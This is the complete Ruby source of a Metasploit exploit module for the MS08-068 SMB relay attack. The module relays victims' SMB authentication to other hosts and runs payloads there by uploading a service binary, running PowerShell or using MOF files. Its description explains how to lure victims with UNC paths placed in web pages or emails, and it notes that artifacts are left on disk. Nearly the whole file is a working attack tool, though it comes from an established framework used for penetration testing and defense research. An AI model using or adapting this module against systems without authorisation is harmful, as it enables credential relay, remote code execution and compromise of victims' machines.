Files
metasploit-gs/modules/exploits/windows/smb/smb_relay.rb
T
2025-03-05 13:44:33 -05:00

309 lines
11 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
=begin
Windows XP systems that are not part of a domain default to treating all
network logons as if they were Guest. This prevents SMB relay attacks from
gaining administrative access to these systems. This setting can be found
under:
Local Security Settings >
Local Policies >
Security Options >
Network Access: Sharing and security model for local accounts
=end
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include ::Msf::Exploit::Remote::SMB::RelayServer
include ::Msf::Exploit::Remote::SMB::Client::Psexec
include ::Msf::Exploit::Powershell
include Msf::Exploit::EXE
include Msf::Module::HasActions
include Msf::Auxiliary::CommandShell
def initialize(info = {})
super(
update_info(
info,
'Name' => 'MS08-068 Microsoft Windows SMB Relay Code Execution',
'Description' => %q{
This module will relay SMB authentication requests to another
host, gaining access to an authenticated SMB session if successful.
If the connecting user is an administrator and network logins are
allowed to the target machine, this module will execute an arbitrary
payload. To exploit this, the target system must try to authenticate
to this module. The easiest way to force a SMB authentication attempt
is by embedding a UNC path (\SERVER\SHARE) into a web page or
email message. When the victim views the web page or email, their
system will automatically connect to the server specified in the UNC
share (the IP address of the system running this module) and attempt
to authenticate. Unfortunately, this
module is not able to clean up after itself. The service and payload
file listed in the output will need to be manually removed after access
has been gained. The service created by this tool uses a randomly chosen
name and description, so the services list can become cluttered after
repeated exploitation.
The SMB authentication relay attack was first reported by Sir Dystic on
March 31st, 2001 at @lanta.con in Atlanta, Georgia.
On November 11th 2008 Microsoft released bulletin MS08-068. This bulletin
includes a patch which prevents the relaying of challenge keys back to
the host which issued them, preventing this exploit from working in
the default configuration. It is still possible to set the SMBHOST
parameter to a third-party host that the victim is authorized to access,
but the "reflection" attack has been effectively broken.
As of Feb 2022 - this module does not support SMB 1.
},
'Author' => [
'hdm', # Original SMB v1 relay module
'juan vazquez', # Original SMB v1 relay module - Add NTLMSSP support
'agalway-r7', # Add SMB 2/3 support
'alanfoster', # Add SMB 2/3 support
'Spencer McIntyre' # Add SMB 2/3 support
],
'License' => MSF_LICENSE,
'Privileged' => true,
'DefaultOptions' => {
'EXITFUNC' => 'thread'
},
'Payload' => {
'Space' => 2048,
'DisableNops' => true,
'StackAdjustment' => -3500
},
'References' => [
['CVE', '2008-4037'],
['OSVDB', '49736'],
['MSB', 'MS08-068'],
['URL', 'http://blogs.technet.com/swi/archive/2008/11/11/smb-credential-reflection.aspx'],
['URL', 'https://en.wikipedia.org/wiki/SMBRelay'],
['URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx']
],
'Arch' => [ARCH_X86, ARCH_X64],
'Platform' => 'win',
'Targets' => [
[ 'Automatic', { 'Arch' => [ARCH_X86, ARCH_X64] } ],
[ 'PowerShell', { 'Arch' => [ARCH_X86, ARCH_X64] } ],
[ 'Native upload', { 'Arch' => [ARCH_X86, ARCH_X64] } ],
[ 'MOF upload', { 'Arch' => [ARCH_X86, ARCH_X64] } ],
[ 'Command', { 'Arch' => [ARCH_CMD] } ]
],
'Notes' => {
'Stability' => [
CRASH_SAFE,
],
'Reliability' => [
REPEATABLE_SESSION
],
'SideEffects' => [
ARTIFACTS_ON_DISK,
IOC_IN_LOGS,
ACCOUNT_LOCKOUTS
]
},
'DisclosureDate' => '2001-03-31',
'DefaultTarget' => 0,
'Actions' => available_actions,
'Stance' => Msf::Exploit::Stance::Passive,
'DefaultAction' => 'PSEXEC'
)
)
register_options(
[
OptString.new('SMBSHARE', [false, 'The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share', ''], aliases: ['SHARE'])
]
)
register_advanced_options(
[
OptBool.new('RANDOMIZE_TARGETS', [true, 'Whether the relay targets should be randomized', true]),
OptString.new('SERVICE_FILENAME', [false, 'Filename to to be used on target for the service binary', nil]),
OptString.new('PSH_PATH', [false, 'Path to powershell.exe', 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe']),
OptString.new('SERVICE_STUB_ENCODER', [false, 'Encoder to use around the service registering stub', nil])
]
)
deregister_options(
'RPORT', 'SMBPass', 'SMBUser', 'CommandShellCleanupCommand', 'AutoVerifySession'
)
if framework.features.enabled?(Msf::FeatureManager::SMB_SESSION_TYPE)
add_info('New in Metasploit 6.4 - The %grnCREATE_SMB_SESSION%clr action within this module can open an interactive session')
end
end
def available_actions
actions = [
['PSEXEC', { 'Description' => 'Use the SMB Connection to run the exploit/windows/psexec module against the relay target' }]
]
if framework.features.enabled?(Msf::FeatureManager::SMB_SESSION_TYPE)
actions << ['CREATE_SMB_SESSION', { 'Description' => 'Do not close the SMB connection after relaying, and instead create an SMB session' }]
end
actions
end
def validate_service_stub_encoder!
service_encoder = datastore['SERVICE_STUB_ENCODER']
return if service_encoder.nil? || service_encoder.empty?
encoder = framework.encoders[service_encoder]
if encoder.nil?
raise Msf::OptionValidateError.new(
{
'SERVICE_STUB_ENCODER' => "Failed to find encoder #{service_encoder.inspect}"
}
)
end
end
def validate
case action.name
when 'PSEXEC'
validate_service_stub_encoder!
end
super
end
def on_relay_success(relay_connection:, relay_identity:)
case action.name
when 'PSEXEC'
run_psexec(relay_connection)
when 'CREATE_SMB_SESSION'
begin
session_setup(relay_connection)
rescue StandardError => e
elog('Failed to setup the session', error: e)
end
end
end
def run_psexec(relay_connection)
# The psexec mixins assume a single smb client instance is available, which makes it impossible
# to use when there are multiple SMB requests occurring in parallel. Let's create a replicant module,
# and set the datastore options and simple smb instance
new_mod_instance = replicant
new_mod_instance.datastore['RHOST'] = relay_connection.target.ip
new_mod_instance.datastore['RPORT'] = relay_connection.target.port
# The new module no longer needs a reference to the original smb server, deref it explicitly:
new_mod_instance.service.deref
new_mod_instance.service = nil
# Wrap the ruby_smb connection in a rex-compatible adapter
new_mod_instance.simple = ::Rex::Proto::SMB::SimpleClient.new(relay_connection.dispatcher.tcp_socket, client: relay_connection)
thread_name = "Module(#{refname})(target=#{relay_connection.target.ip}:#{relay_connection.target.port})"
framework.threads.spawn(thread_name, false, new_mod_instance) do |mod_instance|
mod_instance.exploit_smb_target
rescue StandardError => e
print_error("Failed running psexec against target #{relay_connection.target.ip} - #{e.class} #{e.message}")
elog(e)
# ensure
# # Note: Don't cleanup explicitly, as the shared replicant state leads to payload handlers etc getting closed.
# # The parent module will clean these shared resources
# mod_instance.cleanup
end
end
def relay_targets
Msf::Exploit::Remote::SMB::Relay::TargetList.new(
:smb,
rport,
datastore['RHOSTS'],
randomize_targets: datastore['RANDOMIZE_TARGETS']
)
end
def check_host(target_ip)
generic_message = 'Failed to connect and negotiate an SMB connection.'
begin
simple = connect(false, direct: true)
protocol = simple.client.negotiate
rescue Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError, Errno::ECONNRESET
return Exploit::CheckCode::Unknown(generic_message)
rescue ::Exception => e # rubocop:disable Lint/RescueException
elog(generic_message, error: e)
return Exploit::CheckCode::Unknown(generic_message)
end
if simple.signing_required
return Exploit::CheckCode::Safe('Signing is required by the target server.')
end
Exploit::CheckCode::Vulnerable('Signing is not required by the target server.')
end
# Called after a successful connection to a relayed host is opened
def exploit_smb_target
# automatically select an SMB share unless one is explicitly specified
if datastore['SMBSHARE'] && !datastore['SMBSHARE'].blank?
smbshare = datastore['SMBSHARE']
elsif target.name == 'Command'
smbshare = 'C$'
else
smbshare = 'ADMIN$'
end
service_filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe"
service_encoder = datastore['SERVICE_STUB_ENCODER'] || ''
vprint_status 'Running psexec'
case target.name
when 'Automatic'
if powershell_installed?(smbshare, datastore['PSH_PATH'])
print_status('Selecting PowerShell target')
execute_powershell_payload
else
print_status('Selecting native target')
native_upload(smbshare, service_filename, service_encoder)
end
when 'PowerShell'
execute_powershell_payload
when 'Native upload'
native_upload(smbshare, service_filename, service_encoder)
when 'MOF upload'
mof_upload(smbshare)
when 'Command'
execute_command_payload(smbshare)
end
handler
disconnect
end
# @param [RubySMB::Client] client
def session_setup(client)
return unless client
platform = 'windows'
# Create a new session
rstream = client.dispatcher.tcp_socket
sess = Msf::Sessions::SMB.new(
rstream,
{
client: client
}
)
ds = {
'RHOST' => client.target.ip,
'RPORT' => client.target.port
}
s = start_session(self, nil, ds, false, sess.rstream, sess)
s.platform = platform
s
end
def rport
445
end
end